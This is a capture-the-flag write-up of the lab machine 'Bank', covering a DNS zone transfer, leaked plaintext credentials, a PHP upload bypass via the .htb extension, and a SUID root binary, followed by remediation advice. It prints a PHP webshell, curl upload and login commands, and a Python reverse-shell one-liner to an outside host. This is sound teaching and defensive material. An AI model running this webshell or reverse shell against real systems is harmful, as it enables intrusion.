Overview
Bank is an Easy-rated Linux machine running Ubuntu 14.04 with three services: SSH, DNS (ISC BIND 9.9.5), and Apache. A DNS server co-located with a web application is unusual and immediately signals that DNS enumeration is worth pursuing.
The attack chain crosses four distinct weakness classes. A DNS zone transfer
discloses the domain structure and a probable username. An open directory of
encrypted account files contains one outlier where encryption failed, leaving
plaintext credentials exposed. A debug Apache configuration maps the .htb
file extension to the PHP handler, bypassing upload restrictions. A custom SUID
binary at a non-standard path grants instant root with no authentication.
Each vulnerability is individually trivial. The box tests enumeration discipline: sorting file listings by size, reading HTML source comments, and checking for non-standard SUID binaries.
Reconnaissance
I start with a service scan:
nmap -sC -sV 10.129.29.200
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 6.6.1p1 | Maps to Ubuntu 14.04 |
| 53 | DNS | ISC BIND 9.9.5 | Unusual for a web app box |
| 80 | HTTP | Apache httpd 2.4.7 | Requires hostname to serve app |
Port 53 on an application server is a strong indicator that the box is its own
authoritative DNS server. BIND 9.9.5 with default configuration allows zone
transfers from any source, because allow-transfer defaults to { any; }.
Attack Surface Analysis
DNS zone transfer
A zone transfer against bank.htb succeeds without authentication:
dig axfr bank.htb @10.129.29.200
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
bank.htb. 604800 IN NS ns.bank.htb.
bank.htb. 604800 IN A 10.129.29.200
ns.bank.htb. 604800 IN A 10.129.29.200
www.bank.htb. 604800 IN CNAME bank.htb.
The SOA RNAME field chris.bank.htb encodes the zone administrator’s email
(RFC 1035 section 3.3.13 specifies this as the mailbox of the person
responsible for the zone). This gives us a probable username: chris.
After adding bank.htb to /etc/hosts, browsing to http://bank.htb
presents a login form titled “HTB Bank - Login”. Without credentials, I move
to directory enumeration.
Balance transfer directory
Gobuster discovers /balance-transfer/, an open directory listing:
gobuster dir -u http://bank.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/balance-transfer (Status: 301)
/uploads (Status: 301)
/assets (Status: 301)
/inc (Status: 301)
The /balance-transfer/ directory contains hundreds of .acc files. Each file
holds account data (name, email, password) encrypted with an unidentified
algorithm. Most files are approximately 583 bytes.
The key insight is to sort by file size and look for outliers. When hundreds of files share the same size but one differs significantly, that anomaly is always worth investigating. Clicking the “Size” column header in the Apache directory listing (or sorting a wget mirror) reveals:
68576f20e9732f1b2edc4df5b8533230.acc - 257 bytes
The smaller size indicates the encryption process failed for this account, leaving the data in plaintext:
--] Full Name: Christos Christopoulos
--] Email: [email protected]
--] Password: !##HTBB4nkP4ssw0rd!##
--] CreditCards: 2
--] Transactions: 8
The failure mode is significant. The application encrypted hundreds of records successfully but had no error handling for the one that failed. No retry, no alert, no access restriction on the unencrypted output. It was served alongside the encrypted files with identical permissions.
Vulnerability Analysis
File upload bypass via debug Apache handler
The support ticket page at /support.php includes a file upload feature. The
application rejects files with the .php extension via a server-side
whitelist check. However, an HTML comment in the page source reveals a debug
configuration:
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
This comment indicates a custom Apache handler directive (likely
AddType application/x-httpd-php .htb in the virtual host or .htaccess)
that maps .htb files to the PHP interpreter. The extension whitelist blocks
.php but does not account for .htb, creating a bypass.
| Attribute | Value |
|---|---|
| CWE | CWE-434 (Unrestricted Upload of File with Dangerous Type) |
| Root cause | Extension blacklist that does not cover all executable mappings |
| Prerequisite | Authenticated session |
| Impact | Remote code execution as www-data |
Custom SUID binary
find / -perm -4000 -type f 2>/dev/null
Among the standard SUID binaries (/usr/bin/passwd, /bin/su, etc.), one
stands out:
/var/htb/bin/emergency
A 32-bit ELF binary owned by root with the SUID bit set, placed at a
non-standard path. Running file and strings on the binary shows it calls
setuid(0) followed by execl("/bin/sh", ...). No authentication, no input
validation. It is a trivial privilege escalation.
| Attribute | Value |
|---|---|
| CWE | CWE-269 (Improper Privilege Management) |
| MITRE ATT&CK | T1548.001 (Setuid and Setgid) |
| Root cause | Custom SUID root binary with no access control |
| Impact | Immediate root shell |
Exploitation
Step 1: Login with discovered credentials
curl -c cookies.txt -X POST http://bank.htb/login.php \
-d '[email protected]&inputPassword=!%23%23HTBB4nkP4ssw0rd!%23%23&submitadd=Submit'
Authentication succeeds. The session cookie grants access to the dashboard and
the support ticket page at /support.php.
Step 2: Upload webshell via .htb extension
I create a minimal PHP webshell and upload it through the support ticket form:
<?php system($_GET['cmd']); ?>
curl -b cookies.txt \
-F "title=test" \
-F "message=test" \
-F "[email protected];type=application/octet-stream" \
-F "submitadd=Submit" \
http://bank.htb/support.php
The application accepts the .htb extension. Apache maps it to the PHP
handler, and the file executes at http://bank.htb/uploads/shell.htb:
curl "http://bank.htb/uploads/shell.htb?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
I upgrade to a proper reverse shell from here:
curl "http://bank.htb/uploads/shell.htb?cmd=python3+-c+'import+socket,subprocess,os;s=socket.socket();s.connect((\"10.10.14.X\",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
User flag obtained from /home/chris/user.txt.
Step 3: Privilege escalation via SUID binary
From the www-data shell:
find / -perm -4000 -type f 2>/dev/null | grep -v '/usr\|/bin\|/sbin'
/var/htb/bin/emergency
Running the binary:
/var/htb/bin/emergency
# id
uid=0(root) gid=33(www-data) groups=33(www-data)
# cat /root/root.txt
[redacted]
Root flag obtained. The gid remains 33 (www-data) because the binary only
calls setuid(0), not setgid(0). This is sufficient for reading
/root/root.txt since the file is owned by root with mode 0600.
Post-Exploitation
uname -a
# Linux bank 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64
cat /etc/os-release | head -2
# NAME="Ubuntu"
# VERSION="14.04.2 LTS, Trusty Tahr"
Ubuntu 14.04 with kernel 3.13.0-57 reached end-of-life in April 2019. The kernel is vulnerable to OverlayFS local privilege escalation (CVE-2015-1328) and multiple other local root exploits, making the SUID binary only one of several paths to root.
The MySQL database backing the application contains additional user accounts.
The encryption key used for the .acc files could be extracted from the PHP
source to decrypt the remaining account data.
Examining /etc/apache2/sites-enabled/bank.conf confirms the debug handler:
AddType application/x-httpd-php .htb
This directive treats any .htb file as PHP, regardless of where it lives
under the document root.
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Reconnaissance | T1590.002 | DNS zone transfer from non-secondary nameserver |
| Credential Access | T1552.001 | Bulk access to /balance-transfer/ directory |
| Initial Access | T1078.001 | Login with valid credentials from unexpected source IP |
| Execution | T1505.003 | PHP execution from the uploads directory |
| Privilege Escalation | T1548.001 | Execution of non-standard SUID binary at /var/htb/bin/ |
DNS: BIND should be configured with allow-transfer { none; }; (or
limited to authorised secondary nameserver IPs). Zone transfer requests from
arbitrary IPs should be logged and alerted. This is a one-line configuration
change that eliminates the entire reconnaissance phase.
File integrity: The uploads directory should be monitored for new files
with executable extensions. A stronger control is to store uploads outside the
webroot entirely and serve them through a handler that sets
Content-Disposition: attachment and strips executable permissions.
SUID auditing: Periodic scans for SUID binaries outside standard system
paths (/usr/bin, /usr/sbin, /bin, /sbin) catch both deliberate
backdoors and misconfigurations. Tools like AIDE or osquery can automate this.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove /var/htb/bin/emergency | Low | Critical |
| P0 | Remove the AddType application/x-httpd-php .htb directive | Low | Critical |
| P0 | Restrict DNS zone transfers (allow-transfer { none; };) | Low | High |
| P1 | Add error handling to the encryption process: retry, delete plaintext on failure, alert | Medium | High |
| P1 | Store uploads outside webroot; validate file content via magic bytes, not extension alone | Medium | High |
| P1 | Disable Apache directory listing for /balance-transfer/ | Low | High |
| P2 | Strip debug HTML comments via build pipeline | Low | Medium |
| P2 | Deploy periodic SUID binary auditing | Low | Medium |
| P3 | Upgrade to a supported Ubuntu LTS release | High | High |
Key Takeaways
-
DNS zone transfers are low-hanging fruit. An unrestricted zone transfer disclosed the entire domain structure and a username. This is a one-line BIND configuration fix that many administrators overlook. The default
allow-transferpolicy in BIND permits transfers to any source, which means forgetting to configure it is equivalent to leaving it open. -
Error handling failures create security gaps. The encryption process failed silently on one account, leaving plaintext credentials exposed in the same directory as the encrypted files. Every cryptographic operation needs failure handling: retry the operation, delete the plaintext output, or alert an administrator. Serving unencrypted data alongside encrypted data with identical access controls negates the encryption entirely.
-
Extension blacklists are inherently fragile. The upload filter blocked
.phpbut not.htb, which Apache was configured to execute as PHP. A content-type whitelist (checking magic bytes against an allowed list) is more resilient than an extension blacklist, because it does not need to anticipate every possible executable mapping. The defence-in-depth fix is to store uploads outside the webroot so that even a bypass cannot achieve direct execution.